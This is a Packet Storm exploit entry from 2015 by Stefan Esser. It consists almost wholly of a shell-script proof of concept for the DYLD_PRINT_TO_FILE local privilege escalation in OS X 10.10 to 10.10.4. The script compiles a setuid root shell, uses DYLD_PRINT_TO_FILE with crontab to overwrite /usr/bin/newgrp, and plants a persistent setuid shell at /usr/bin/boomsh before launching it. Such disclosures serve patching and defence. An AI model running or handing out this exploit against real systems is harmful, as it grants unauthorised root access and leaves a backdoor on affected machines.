OS X 10.10 DYLD_PRINT_TO_FILE Privilege Escalation

2015-07-22T00:00:00
ID PACKETSTORM:132814
Type packetstorm
Reporter Stefan Esser
Modified 2015-07-22T00:00:00

Description

                                        
                                            `#!/bin/sh  
#  
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE  
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4  
#  
# (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de>  
#  
# Wait months for a fix from Apple or install the following KEXT as protection  
# https://github.com/sektioneins/SUIDGuard  
#  
# Use at your own risk. This copies files around with root permissions,  
# overwrites them and deletes them afterwards. Any glitch could corrupt your  
# system. So you have been warned.  
  
SUIDVICTIM=/usr/bin/newgrp  
  
# why even try to prevent a race condition?  
TARGET=`pwd`/tmpXXXXX  
  
rm -rf $TARGET  
mkdir $TARGET  
  
cat << EOF > $TARGET/boomsh.c  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
int main()  
{  
setuid(0);  
setgid(0);  
system("/bin/bash -i");  
printf("done.\n");  
return 0;  
}  
EOF  
cat << EOF > $TARGET/overwrite.c  
#include <sys/types.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <stdio.h>  
  
int main(int argc, char **argv)  
{  
int fd;  
char buffer[1024];  
ssize_t toread, numread;  
ssize_t numwritten;  
ssize_t size;  
  
/* disable O_APPEND */  
fcntl(3, F_SETFL, 0);  
lseek(3, 0, SEEK_SET);  
  
/* write file into it */  
fd = open(  
EOF  
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c  
cat << EOF >> $TARGET/overwrite.c  
, O_RDONLY, 0);  
if (fd > 0) {  
  
/* determine size */  
size = lseek(fd, 0, SEEK_END);  
lseek(fd, 0, SEEK_SET);  
  
while (size > 0) {  
if (size > sizeof(buffer)) {  
toread = sizeof(buffer);  
} else {  
toread = size;  
}  
  
numread = read(fd, &buffer, toread);  
if (numread < toread) {  
fprintf(stderr, "problem reading\n");  
_exit(2);  
}  
numwritten = write(3, &buffer, numread);  
if (numread != numwritten) {  
fprintf(stderr, "problem writing\n");  
_exit(2);  
}  
  
size -= numwritten;  
  
}  
  
fsync(3);  
close(fd);  
} else {  
fprintf(stderr, "Cannot open for reading\n");  
}  
  
return 0;  
}  
EOF  
  
cp $SUIDVICTIM $TARGET/backup  
gcc -o $TARGET/overwrite $TARGET/overwrite.c  
gcc -o $TARGET/boomsh $TARGET/boomsh.c  
  
EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null  
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null  
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null  
  
rm -rf $TARGET  
  
/usr/bin/boomsh  
  
`